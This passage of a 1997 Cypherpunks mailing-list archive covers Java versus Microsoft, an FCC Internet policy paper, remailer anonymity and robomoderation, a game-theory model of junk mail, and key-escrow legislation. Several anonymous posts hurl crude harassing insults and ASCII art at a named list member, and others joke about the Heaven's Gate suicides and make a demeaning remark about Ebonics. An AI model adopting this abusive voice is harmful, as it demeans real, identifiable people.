>             local drives. Better still, get rid of your local
>             drives.
> 
>             In short, a Java-based browser is a good way to do
>             it, but a Java-based network computer is best.
>             Which brings us back to the conclusion of last
>             week's column.
> 
>             But, if you're tired of the repetition, here's a
>             reason you should sit through another sermon:
>             RandomNoise's Coda. Coda lets you design entire
>             Web pages in Java rather than use a mixture of
>             HTML content, tags, and Java applets.
> 
>             Most pundits seem to be fixated on the fact that
>             Coda gives you a way to display fancy fonts that
>             HTML can't handle. Our own Bob Metcalfe is the
>             only one I know of who addressed the bigger
>             picture. (See From the Ether, March 10). He
>             pointed out that Coda may lead the way toward
>             replacing HTML with Java.
> 
>             A Java-based Web page removes the distinction
>             between application and data. It presents data
>             just as an HTML page would, but every element on
>             the screen has the potential to be an interactive
>             part of a sophisticated application.
> 
>             In other words, the Web page becomes both powerful
>             and safe enough to earn the right to be the new
>             desktop user interface to the world. But Internet
>             Explorer and Windows are nowhere in that equation.
> 
>             So is Microsoft in a batting slump, or is this the
>             beginning of the end? Personally, I think
>             Microsoft can pull out of this one. All it would
>             have to do to fully recover is turn Windows NT
>             into Unix, drop Distributed Component Object Model
>             for CORBA, phase out its Windows-centric protocols
>             for platform-independent standards, adopt
>             NetWare's Novell Directory Services, kill ActiveX,
>             port SQL Server to several different platforms,
>             and abandon the idea of integrating Internet
>             Explorer into the desktop.
> 
>             Well, I'm going to take a nap. Wake me when all
>             that happens.
> 



	- Igor.





From jya at pipeline.com  Thu Mar 27 16:33:40 1997
From: jya at pipeline.com (John Young)
Date: Thu, 27 Mar 1997 16:33:40 -0800 (PST)
Subject: FCC Internet Paper
Message-ID: <1.5.4.32.19970328002547.0073ea10@pop.pipeline.com>


As summarized below the FCC has issued a long
paper: "Digital Tornado: The Internet and Telecommunications
Policy." To supplement the FCC's PDF and WordPerfect versions
we've converted it to HTML:

   http://jya.com/oppwp29.htm  (270K; 189K images)

-------

From: Robert Cannon <cannon at DC.NET>
Subject:      FCC Releases staff Working Paper on Internet policy
To: CYBERIA-L at LISTSERV.AOL.COM

News Release --  March 27, 1997

DIGITAL TORNADO:
THE INTERNET AND TELECOMMUNICATIONS POLICY

FCC Staff Working Paper on Internet Policy


     The FCC's Office of Plans and Policy (OPP) today released a staff
working paper analyzing the implications of the Internet for the
FCC and telecommunications policy.  OPP Working Paper No. 29,
"Digital Tornado: The Internet and Telecommunications Policy," was
written by Kevin Werbach, Counsel for New Technology
Policy.  OPP periodically issues working papers on emerging areas in
communications; these papers represent individual views and are not an
official statement by the FCC or any FCC commissioner.

     "Digital Tornado" represents the first comprehensive assessment of
the questions the Internet poses for traditional communications policy.
A central theme running through the paper is that the FCC, and other
government agencies, should seek to limit regulation of Internet
services.  In framing his approach, Werbach states: "Because it is not
tied to traditional models or regulatory environments, the Internet
holds the potential to dramatically change the communications
landscape.  The Internet creates new forms of competition, valuable
services for end users, and benefits to the economy.  Government policy
approaches toward the Internet should therefore start from two premises:
avoid unnecessary regulation, and question the applicability of
traditional rules."

     After providing an analytical framework to understand the forces
driving Internet growth, and describing the Internet's development and
architecture, the paper addresses three primary areas:

     CATEGORY DIFFICULTIES
     Policy and legal questions arising from the fact that Internet-
     based services do not fit easily into the existing classifications
     for communications services under federal law or FCC
     regulations.

     PRICING AND USAGE
     Policy questions arising from the economics of Internet
     access, including assertions by local telephone companies that
     current Internet pricing structures result in network
     congestion, and arguments by Internet service providers that
     telephone companies have not upgraded their networks to
     facilitate efficient transport of data services.

     AVAILABILITY OF BANDWIDTH
     Regulatory and technical issues affecting the deployment of
     technologies promising to enable high-speed Internet access to
     the home and to businesses, including the implications for the
     Internet of the FCC's role in promoting universal service.

     The paper is available on the FCC World Wide Web site,
<http://www.fcc.gov/>.  The file is available for online viewing in
PDF (Adobe Acrobat) format at

   http://www.fcc.gov/Bureaus/OPP/working_papers/oppwp29.pdf 

or for downloading in WordPerfect format at

   http://www.fcc.gov/Bureaus/OPP/working_papers/oppwp29.wp

Copies may also be purchased from International Transcription
Services, Inc., 1919 M Street, NW, Room 246, Washington, DC
20554, (202) 857-3800.

  -FCC-






From declan at well.com  Thu Mar 27 16:50:45 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 27 Mar 1997 16:50:45 -0800 (PST)
Subject: heavensgate.com?
In-Reply-To: <v03007800af60b73611b5@[207.167.93.63]>
Message-ID: <Pine.GSO.3.95.970327164811.18792B-100000@well.com>


I was typing quickly and carelessly. If you want to send me something
that's anonymous *and* encrypted, that's when my public key would come in
handy.

That invitation still stands, of course, for anyone who wants to pass
along any info on the Heaven's Gate organization.

Anyway, we put a mirror up at:

  http://pathfinder.com/news/breaking/site.html

-Declan


On Thu, 27 Mar 1997, Timothy C. May wrote:

> At 2:43 PM -0500 3/27/97, Declan McCullagh wrote:
> >Does anyone have a copy of the heavensgate.com web pages?
> 
> >If you want to send something anonymously, finger -l declan at eff.org for my
> >PGP public key.
> 
> Wouldn't just using an anonymous remailer work better? Encrypting a message
> to your public key and then mailing it will not preserve sender anonymity.
> 
> Doing both would maybe be better, but for casual journalistic
> whistleblowing, the remailers are more important than encrypting to the
> recipient (unless Declan fears interception at _his_ site).
> 
> (Am I missing something?)
> 
> --Tim, whose parents live less than two miles from the Departure Zone for
> the Hale-Bopp Shuttlecraft
> 
> (P.S. Does this mean the San Diego Cypherpunks meetings will be more
> lightly attended?)






From ichudov at algebra.com  Thu Mar 27 16:51:35 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 27 Mar 1997 16:51:35 -0800 (PST)
Subject: OPINION: moderation and anonymity
Message-ID: <199703280044.SAA01846@manifold.algebra.com>


Jay Denebeim (denebeim at deepthot.cary.nc.us) wrote
* Igor Chudov @ home <ichudov at algebra.com> wrote:
* 
* >3. It is a common misconception to think that since anonymity means no
* >accountability, it will lead to abuses. Even though such an argument may
* >be made in general (it is subject to a significant disagreement), it
* >does not apply in the least to moderated groups. Since moderators are,
* >generally, responsible for the content of the messages that they allow,
* >the final responsibility and control is in their hands. If a certain
* >anonymous posting does not satisfy the newsgroup charter, moderators can
* >always reject it.

I would like to thank Jay for his thorough and thoughtful comments. I 
agree with many of his point, and leave only those that I disagree on.

* You can have both accountability and anonymity.  From a newsgroup
* moderator's perspective it's not necessary to know the account of the
* person, only a way to uniquely identify the individual.  There is
* cryptography available for every machine that can provide these unique
* signatures without requiring a valid from address.

You are correct, there are tools allowing individuals to sign
their articles and verify electronic signatures. My moderation bot
STUMP even has built in support for PGP signature verification.
Some of its features are directly indended to be helpful for anonymous
users who want to not only post to newsgroups, but also maintain their
reputations. As you know, I think that anonymous users can be
great contributors to moderated newsgroups.

I am not sure that this article is the place to go into  a lot of detail
about these features, but I can summarize them for those who are interested.

However, there is a big and sticky question of what identity really is.
For example, I can establish several PGP keys and post anonymously using
all of them in turns.

What would be my identity? And if I use one of the keys to post 
off-topic articles and you "punish" that key not knowing that the 
same physical person uses several others, what's the point of such
"punishment"?

That is not to say that using PGP signatures in moderated groups is
bad: it is great, especially since anonymous users who use PGP to 
sign their articles can be safely put to the preapproved list of 
robomoderator bots. 

The problem is that while we have IDENTIFICATION, there is little
we can to do enforce ACCOUNTABILITY.

* However, the current newsgroups where this issue has been raised are
* all robo-moderated purely for spam elimination.  That means that there
* must be some way to identify posters so they can be mechanically
* blocked if necessary.  Cryptography and/or valid e-mail addresses
* (whether those addresses actually show up in posts or not) are
* necessary for the filtering function to be totally bullet-proof.

I disagree with this point. First of all, forging email messages to
look like they come from non-anonymous addresses is very easy (just telnet
to port 25 and type 3 magic lines). Second, a person can secretly have 
multiple keys.

If someone is determined to bypass a robomoderation bot that does not
require EVERY preapproved poster to positively identify herself, they
will get through. By the way, I believe that most forgeries in moderated
groups are results of personal problems of posters AND moderators, and
moderators need to honestly take care of the underlying problems.

It is very hard if not impossible to deal with determined and
knowledgeable forgers. I would much rather ensure that they get
equal access to the group than try to fight them by technical means.

* Actually, the cryptographic signature posts are the only 100% reliable
* ones, although all newsgroups I'm aware of only accept the forgable
* from: lines currently, the spammers have not figured out how to get

This is 99% correct, but not 100% correct. Newsgroups that are
moderated by STUMP will NOT ACCEPT forged From: lines pointing to
posters who have requested special cryptographic protection. All articles
purporting to be from such persons pass mandatory check of a PGP
signatures.

* past robomodded groups yet, and if they do forge addresses, they are
* breaking the law currently (fraud), so I don't know that this will
* ever become an issue.
* 
* Now, there are some other, even less reliable, methods of
* robo-moderating.  The 'clue test', which requires a password on your
* first post that is listed in a FAQ is one that I think would work
* quite well today.  It does have a problem in that if the spammers ever

Yes. It is an absolutely great method for newsgroup that do not
want to bother themselves with the costs of having a human moderator,
while at the same time eliminating spam and multiposted "flame"
threads.

We now have two bots, one of which is yours, that allow to quickly
set up such automoderated groups.

People who are determined to post off-topic articles to such groups have
very many ways of getting past the robomoderator bot.  That is usually
OK since it is not the regulars who are the problem.

	- Igor.





From weidai at eskimo.com  Thu Mar 27 17:19:36 1997
From: weidai at eskimo.com (Wei Dai)
Date: Thu, 27 Mar 1997 17:19:36 -0800 (PST)
Subject: junk mail analysis, part 2
Message-ID: <Pine.SUN.3.96.970327170208.2629A-100000@eskimo.com>


Last time I gave the equilibrium for the junk mail game.  Now I will look
at a modified game that allows the sender to include an ecash deposit with
his email.  (Note that there is a slight change of notation from the game
tree given last time.) 

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide deposit d
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-d,d)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-d,d-c)  (s,r-c)

Solution

We again apply the method of backward induction.  In the last stage B
accepts if r >= d.  Therefore in the next to last stage, B knows that if
he reads, his expected payoff is P(r<d)*(d-c)  + P(r>=d)*E(r-c|r>=d). 
However, in equilibrium it is not possible that P(r<d) > 0 since A is
always better off by offering a deposit of 0 instead of any deposit
greater than r. Therefore B reads if E(r|r>=d)-c >= d.  Now we come to A's
deposit decision.  A knowns that if he offers any d such that r >= d and
E(r|r>=d)-c >= d, B will read and accept.  A is indifferent between any
such d, so he might as well offer the smallest such d if it exists.  If it
doesn't exist, A offers d=0.  Finally A again always sends regardless of
the parameters, since A can get a payoff of at least 0 by sending, and may
do better if there is a small probability of B making a mistake.

Conclusions

We saw that if there exists a d such that r >= d and E(r|r>=d)-c >= d, A
offers the least such d, and B reads and accepts.  Otherwise A offers d=0,
and B does not read.  Interestingly, if E(r) > c, d=0 satisfies r >= d and
E(r|r>=d)-c >= d, so we reach the same outcome as before.  However, if
E(r) < c, the outcome of the new game represents a Pareto-improvement
since for realistic distributions of (s,r)  it seems likely that for all
sufficiently large r there exist d such that r >= d and E(r|r>=d)-c >= d,
and for these values of r both the sender and the receiver do better than
they did in the previous model.  Let's call the smallest such r t. 
Unfortunately the outcome is still not Pareto-optimal if t > c. 

This conclusion opens the question of whether a better solution exists.
One possibility is the following (called the pre-payment solution).

      A: Send mail?
        /     \
    no /       \ yes
      /         \
    (0,0)    A: Decide pre-payment p
                |
                |
                |
             B: Read mail?
               /   \
           no /     \ yes
             /       \
         (-p,p)   B: Accept offer?
                    /  \
                no /    \ yes
                  /      \
               (-p,p-c)  (s-p,r+p-c)

If there is enough interest, I'll follow up with a comparison between the
pre-payment solution and the deposit solution.







From nobody at huge.cajones.com  Thu Mar 27 17:24:06 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 27 Mar 1997 17:24:06 -0800 (PST)
Subject: Zero-knowledge interactive proofs
Message-ID: <199703280124.RAA23942@mailmasher.com>


Tim Maytag, a product of anal birth, appeared with a coathanger 
through his head.

          /_/\/\
          \_\  /
          /_/  \
          \_\/\ \
             \_\/






From ravage at einstein.ssz.com  Thu Mar 27 17:35:12 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 27 Mar 1997 17:35:12 -0800 (PST)
Subject: Microsoft ammunition (fwd)
Message-ID: <199703280137.TAA01470@einstein.ssz.com>



Forwarded message:

> Date: Thu, 27 Mar 1997 16:11:50 -0600
> From: Toto <toto at sk.sympatico.ca>
> Subject: Microsoft ammunition

>             But, if you're tired of the repetition, here's a
>             reason you should sit through another sermon:
>             RandomNoise's Coda. Coda lets you design entire
>             Web pages in Java rather than use a mixture of
>             HTML content, tags, and Java applets.
> 
>             A Java-based Web page removes the distinction
>             between application and data. It presents data
>             just as an HTML page would, but every element on
>             the screen has the potential to be an interactive
>             part of a sophisticated application.

Mix this with the distributed processing model of Plan 9 and you may just
have tomorrows computer environment.

                                                       Jim Choate
                                                       CyberTects
                                                       ravage at ssz.com






From dlv at bwalk.dm.com  Thu Mar 27 19:40:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 27 Mar 1997 19:40:19 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <199703280146.RAA01336@crypt.hfinney.com>
Message-ID: <9RB04D45w165w@bwalk.dm.com>


Hal Finney <hal at rain.org> writes:
> For example, one idea is to have a list of people who are willing to
> receive anonymous mail without questions.  It could be that the remailer
> is set up to ask before sending mail normally, but to people on such a
> list it doesn't have to ask, it just sends it, because they have given
> permission.
>
> Some people have objected to this proposal because the existence of the
> list might give a hint about which people send mail through the remailers.
> Even though the list is of people willing to *receive* anonymous mail,
> it could well be that there is a strong correlation with people who want
> to send such mail.

Instead of keeping this list in cleartext, one could keep 1-way hashes
of the addresses. Thus a remailer (or anyone) can check whether a given
address is on the list, but they can't just go through the list and
"investigate" the addresses on it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From whgiii at amaranth.com  Thu Mar 27 19:40:44 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Thu, 27 Mar 1997 19:40:44 -0800 (PST)
Subject: OECD: No GAK
In-Reply-To: <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>
Message-ID: <199703272150.VAA18676@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <1.5.4.32.19970327120223.006d3e30 at pop.pipeline.com>, on 03/27/97 at
07:02 AM,
   John Young <jya at pipeline.com> said:


> That seeming contradiction, however, did not prevent the
>   Clinton Administration in recent months from waging a
>   vigorous behind-the-scenes effort for its proposal. And
>   hoping to resolve some of the policy conflicts, the
>   Administration is now circulating draft legislation on
>   Capitol Hill which would attempt to control even the
>   domestic use of data-scrambling software and establish a
>   key-escrow system for the United States.


Is this in reference to the various GAK initiatives by the administration
or are they finally pushing for forced restrictions on domestic crypto? Has
anyone seen these drafts?

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: From the people who brought you EDLIN!

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBMzs96Y9Co1n+aLhhAQHd9AP+Jz8Rj+tNjITMbJOji/Emqpe5S1YN0uRw
BndAjY5kDPzk0g+QRZDLgEi8ExAa6ic9PGICXnlDDphuzGR25ZGDL9f0RuROu5PA
ZaGX9pG3rkSENra5mhrNMN2kCpCYC94Yf9CCzWDcJs32Ab+nIJyZq9E/jWqP8z8w
FTpa44Pkusw=
=60HQ
-----END PGP SIGNATURE-----






From ichudov at algebra.com  Thu Mar 27 19:59:34 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 27 Mar 1997 19:59:34 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <9RB04D45w165w@bwalk.dm.com>
Message-ID: <199703280354.VAA03151@manifold.algebra.com>


Dr.Dimitri Vulis KOTM wrote:
> 
> Hal Finney <hal at rain.org> writes:
> > For example, one idea is to have a list of people who are willing to
> > receive anonymous mail without questions.  It could be that the remailer
> > is set up to ask before sending mail normally, but to people on such a
> > list it doesn't have to ask, it just sends it, because they have given
> > permission.
> >
> > Some people have objected to this proposal because the existence of the
> > list might give a hint about which people send mail through the remailers.
> > Even though the list is of people willing to *receive* anonymous mail,
> > it could well be that there is a strong correlation with people who want
> > to send such mail.
> 
> Instead of keeping this list in cleartext, one could keep 1-way hashes
> of the addresses. Thus a remailer (or anyone) can check whether a given
> address is on the list, but they can't just go through the list and
> "investigate" the addresses on it.

Well, they can compile the list of addresses off of USENET postings and
such and then compute the hashes of the compiled names and identify
those that are on the anon acceptance list. Not that it completely
invalidates the idea, but certainly it is a problem.

	- Igor.





From jya at pipeline.com  Thu Mar 27 20:19:45 1997
From: jya at pipeline.com (John Young)
Date: Thu, 27 Mar 1997 20:19:45 -0800 (PST)
Subject: OECD: No GAK
Message-ID: <1.5.4.32.19970328041159.00708088@pop.pipeline.com>


>Is this in reference to the various GAK initiatives by the administration
>or are they finally pushing for forced restrictions on domestic crypto? Has
>anyone seen these drafts?

I assume that the draft KRAP legislation at CDT Peter Junger cited 
here is what Markoff refers to:

   http://www.cdt.org/crypto/970312_admin.html

Anyone know of other KR/TTF drafts in the US, UK, FR, JP, AU or elsewhere
among the 29 signators of Wassenaar?

The Wassenaariors have a wider ambition than the OECDistes.








From jer+ at andrew.cmu.edu  Thu Mar 27 20:29:58 1997
From: jer+ at andrew.cmu.edu (Jeremiah A Blatz)
Date: Thu, 27 Mar 1997 20:29:58 -0800 (PST)
Subject: OECD: No GAK
In-Reply-To: <199703272150.VAA18676@mailhub.amaranth.com>
Message-ID: <0nCoXN200YUf0Ldoc0@andrew.cmu.edu>


-----BEGIN PGP SIGNED MESSAGE-----

"William H. Geiger III" <whgiii at amaranth.com> writes:
> In <1.5.4.32.19970327120223.006d3e30 at pop.pipeline.com>, on 03/27/97 at
> 07:02 AM,
>    John Young <jya at pipeline.com> said:
> 
> 
> > That seeming contradiction, however, did not prevent the
> >   Clinton Administration in recent months from waging a
> >   vigorous behind-the-scenes effort for its proposal. And
> >   hoping to resolve some of the policy conflicts, the
> >   Administration is now circulating draft legislation on
> >   Capitol Hill which would attempt to control even the
> >   domestic use of data-scrambling software and establish a
> >   key-escrow system for the United States.
> 
> 
> Is this in reference to the various GAK initiatives by the administration
> or are they finally pushing for forced restrictions on domestic crypto? Has
> anyone seen these drafts?

I haven't seen the drafts, but the url that someone recently posted
(the ones with the commas in it) has an article about it. The article
is pretty down on the whole GAK thing, and points out a couple times
that the proposed bill pushes hard for de facto manditory GAK, despite
the gov't's past claims that it wouldn't do that.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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509bfqxBSV4nDkitUMb+y6hpA8+RvFGQ
=ulDt
-----END PGP SIGNATURE-----





From stewarts at ix.netcom.com  Thu Mar 27 20:46:22 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 27 Mar 1997 20:46:22 -0800 (PST)
Subject: Bay Area Anarchist Book Fair, Saturday 3/29
Message-ID: <3.0.1.32.19970327204449.0063e390@popd.ix.netcom.com>


10am-6pm, S.F. County Fair Building, Golden Gate Park, 
9th Ave at Lincoln Way.  Free.  +1-415-431-8355

Bound Together Books is organizing it, as usual.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From toto at sk.sympatico.ca  Thu Mar 27 21:29:17 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 27 Mar 1997 21:29:17 -0800 (PST)
Subject: The Upside of Higher Source's Actions
Message-ID: <333B542E.F6B@sk.sympatico.ca>


There's 39 new job openings in San Diego.
  (Astral travellers only, need apply.)

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html







From mixmaster at remail.obscura.com  Thu Mar 27 21:33:59 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Thu, 27 Mar 1997 21:33:59 -0800 (PST)
Subject: No Subject
Message-ID: <199703280443.UAA07280@sirius.infonex.com>


Timothy C[reep] May's family tree goes straight 
up. All of his ancestors were siblings, to dumb 
to recognize each other in the dark.

        /\ o-/\  Timothy C[reep] May
       ///\|/\\\
      /   /|\   \






From dthorn at gte.net  Thu Mar 27 21:42:17 1997
From: dthorn at gte.net (Dale Thorn)
Date: Thu, 27 Mar 1997 21:42:17 -0800 (PST)
Subject: heavensgate.com?
In-Reply-To: <v0300780eaf607dc93069@[168.161.105.191]>
Message-ID: <333B59AF.603F@gte.net>


Declan McCullagh wrote:
> Does anyone have a copy of the heavensgate.com web pages?
> I've found a couple mirrors of Higher Source already.
> (If you don't know what I'm talking about, look at
> http://www.yahoo.com/headlines/970327/news/stories/suicides_7.html)

"Good" disinformation, such as the MJ-12 stuff released by Bill
Cooper, John Lear, Bill Moore, Jaime Shandera et al, has a quality
that is compelling, if weird and hard to swallow.

The Higher Source crapola OTOH, won't pass first-level inspection
with any experienced UFO/conspiracy buff.  Don't waste your time.
Look for another explanation (i.e., find the money trail).






From real at freenet.edmonton.ab.ca  Thu Mar 27 22:15:32 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Thu, 27 Mar 1997 22:15:32 -0800 (PST)
Subject: Zero-knowledge interactive proofs
In-Reply-To: <199703280124.RAA23942@mailmasher.com>
Message-ID: <Pine.A41.3.95.970327231214.27642B-100000@fn2.freenet.edmonton.ab.ca>


On Thu, 27 Mar 1997, Huge Cajones Remailer wrote:

Vulis you are sick.

> Tim Maytag, a product of anal birth, appeared with a coathanger 
> through his head.
> 
>           /_/\/\
>           \_\  /
>           /_/  \
>           \_\/\ \
>              \_\/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From mail at mkljk.com  Thu Mar 27 23:27:07 1997
From: mail at mkljk.com (mail at mkljk.com)
Date: Thu, 27 Mar 1997 23:27:07 -0800 (PST)
Subject: Mutual Link Proposal
Message-ID: <801496278473.HHG25220@mkljk.com>


Hello, my name is Guy W. Rochefort, President of Dino Jump International.
I found your address through YAHOO. Dino Jump International are specialists 
in manufacturing and distribution of Interactive Inflatables worldwide. My
lines have been featured in Walt Disney productions, NFL shows, and NBA
events. Our product lines include moonwalkers, bouncehouses, and castles. 

I am interested in mutual links on our respective webpages beneficial to
both our businesses. Additionally, I am interested in opening dialog on
mutual beneficial business dealings as far as wholesale/retail efforts for 
manufactured products from my factory and/or resale distribution at 
competitive pricing.  Please come visit my site at http://www.dinojump.com 
or email sales1 at dinojump.com or call me at 1-800-570-3466 or 619-754-5186.

If this email is intrusive I apologize and you will not hear further from
me. Thank you again and I am looking forward to doing business with you.

Guy





From shiftcontrol at nml.guardian.co.uk  Fri Mar 28 00:50:26 1997
From: shiftcontrol at nml.guardian.co.uk (Shift Control)
Date: Fri, 28 Mar 1997 00:50:26 -0800 (PST)
Subject: Resurrect yourself
Message-ID: <v01530505af60644bead1@[194.205.4.69]>


In this week's Easter Fools' Issue of Shift Control:

"Not only did Christ not die on the cross, but his body was never placed in
the tomb at Golgotha. Indeed, by the infamous "third day" Christ had most
likely already rounded the Italian coast and was, for all we know,
exchanging anecdotes with Sardinian crab merchants." - Paul Robinson on the
imminent resurrection of Jesus's freshly discovered remains.

"The post-war baby-boomer generation keeps getting ever more wistful for
its lost youth. Bowie begat Suede; the Beatles and the Small Faces begat
Brit pop; Rod Stewart begat everything in a skirt in the Seventies and
these days his torch is carried by Mark Morrison." - Robin Hunt on the
resurrection of nostalgia.

"Identical lambs are gambolling in the fields. Six-legged featherless
chickens are hatching from their eggs. Piglets ready to offer their organs
for every transplant need are snuffling in the new grass. A herd of calves
trot happily to the slaughterhouse. It's Easter, time of regeneration and
renewal, and all is well with the world." - Bronwen Davies on genetic
manipulation and cloning: resurrection for the Nineties.

"The gods we buried previously now arise as green shoots and come into
their own at the harvest. We drink their blood and eat their flesh when we
pass around the wine, beer, bread and cakes in the glorious evenings of
autumn. For pagans the deities symbolise the fruits of the year -
Christianity, for some reason, chose to reverse this." - Druid Steve Wilson
on resurrection, pagan-style

"There are a number of things I would require of anyone who would be able
to clone me. I would first require that he make two clones instead of one.
Next, I would demand that neither of these cloned boys be circumcised. I
was and although I do not remember the experience I do well remember when I
had my tonsils taken out." - Robert Nicolai on how he should be resurrected
through cloning.

Also this week:

Your chance to win 200 quid in our fiction competition; more memoirs from
Freebee the rock 'n' roll bee; and our latest quiz: how wild are you about
Jesus?

All this and more, waiting and willing at:

http://www.shiftcontrol.com
------------------------------------------------------------------

Shift Control is produced by the Guardian's New Media Lab with help from
Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
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From tm at woof.nut  Fri Mar 28 05:16:57 1997
From: tm at woof.nut (Truth Mongrel)
Date: Fri, 28 Mar 1997 05:16:57 -0800 (PST)
Subject: CypherPunks Hash Distribution Network / Combined thread
Message-ID: <199703281314.HAA06653@wombat.sk.sympatico.ca>


Igor Chudov @ home wrote:
> As far as I understand, the process of building a distributed network of
> cypherpunks mailing lists is logically complete. It means that the following
> list servers are now connected:
> ssz.com <---> algebra  <----> cyberpass
> Again, you are free to do so and your Cc-copies will NOT cause any
> duplication of traffic because each mailing list server employs an
> anti-duplicate filter. It is just a waste of your keyboard typing.

> Dale Thorn @ bat:
>> That's funny - I unsuscrived to toad, and 'scribed to cyberpass and
>> algebra.  I have been getting an average of 2-1/2 of each message
>> that comes through.  Mostly three's, a few two's, and an occasional
>> five or six copies.

  It sounds to me as if we might already have a naturally recurring
parallax to a hash-collusion system here.
  In other misued words, perchance the ASCII art spams and multiple
copies of various posts, which became common fare for anyone who
followed the moderation/censorship experiment/dictatorship of 
Gilmore/Sandfort and Toad/C2Net in Jan/Feb, are nature's way of
exacting a cost for subscription to the CypherPunks list(s).

  Perhaps the good Dr.Vulis DV K, rather than being called a flamer,
should be referred to as our good friend, Mr. Fire, who helps to 
clear the deadwood out of the forest.
  Apparently, over a thousand pieces of deadwood were cleared
in the last cycle of flamewars. ("Run, Bambi. Run!")

  Below, agreeing with me (in my dreams):
Hal Finney wrote:
> Adam Back writes:
> > [ Re idea to for a nym to "post a bond" to enhance reputation]
> > Your suggestion is another neat way of passing expense and tying an
> > investment to a nyms reputation.
> > X-reputation: 64 bit SHA1 collision
> > or
> > X-reputation: $100 digicash
> >
> Don't forget though, it's not really a payment system.  The hash
> collisions can't be exchanged for anything in the real world.
> They represent a certain threshold of effort which someone has to have
  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ (emphasis mine)
> expended to create them, but they can't replace cash.  At best they
> could be sort of a "play money" which some people choose to accept.
> 
> I do like your idea of using it as an incoming spam filter, though.
> (By spam I mean mass mailings.) 

  Which begs the question, is the current system capable of acting
as an outgoing filter? Can it glean out the losers who are cruising
for an easy view of cryptography issues, and help maintain a higher
level of membership, limiting it to losers who have a more dedicated
interest/psychosis in privacy/paranoia cryptography/disinformation
issues.

> > - and anyway I've nearly finished implementing it (I'll post the hash
> >   cash postage money mint (collision generator) and remailer plug-in
> >   for postage later on today) where as not many people have digicash
> >   accounts.

  Perhaps if Dale developed an 'outgoing filter' system to go with
Adam's 'incoming filter' system, we could have the best of both
worlds, being saved from "Make $$$ Fast" spams, but having to use
our delete keys to ante-up in regard to our own list loons.
  We could also institute a 'bad hash' system, where bad-hashes
like Tim C. May could use their guns to balance the threat of
legal actions from bad-hashes like Greg Broiles.

  With new developments such as these, to thwart the efforts of
anti-thwarters to bring balance and sanity to the list, perhaps
the CypherPunks can bypass the inevitable evolutionary extinction
of the 'bug-fixed' victims of insect vasectomies, and bring in
the new millenium as the longest running wash-out-your-mouth-with
Soap Opera on the InterNet, staying one step ahead of the guys
with the ButterflyNet.

  The Truth of the Mongrel is, that we obviously need to develop
a system that makes certain the spam we receive is CypherSpam.
The loons on the list should be CypherLoons. Our membership
should consist of CypherIdiots, CypherNewbies, CypherElitists,
CypherLosers, CypherCynics, CypherSpooks and CypherGenius'.

  Where else can movers and shakers like Robert Hettinga join
in an list-takeover attempt, call for the killing of the list,
and then, like a whirling dervish acting as his own spin doctor,
re-appear, riding on the back of the CypherXenix rising from the 
ashes, and genuinely declare, "I *love* this list."?
  Where else can CypherWoofers like Toto roundly condemn Sandfart
<spit>* and Gilmore <swallow>* as fascist censors, then praise
his own bum-buddy, Igor Chewed-Off <commie>*, for his site blocking 
efforts, and then cynically whine when his own "Make Big $$$ Licking 
Your Own Nuts At Home" bulk-emails are intercepted and deleted?
(* - ASCII Graphicology allegedly (c) DV K Bot-ling Plant, No-Inc.)

  Where else can Afro-American cryptographers have their native
tongue, Ebonics, recognized as a valid encryption system?
  Where else can you be guaranteed that your typoos will be 
forwarded to Ft. Meade, to be pored over by military analysts
for hidden meaning, quite possibly launching world infowars as
a result of drunken, sticky fingers.

  The CypherPunks list, love it or leave it, is still, far and away, 
the best show in town.
  ("If I can make it theeerrre...I can make it anywheeerrre..")

  And the way this relates to cryptography is...my brain is 
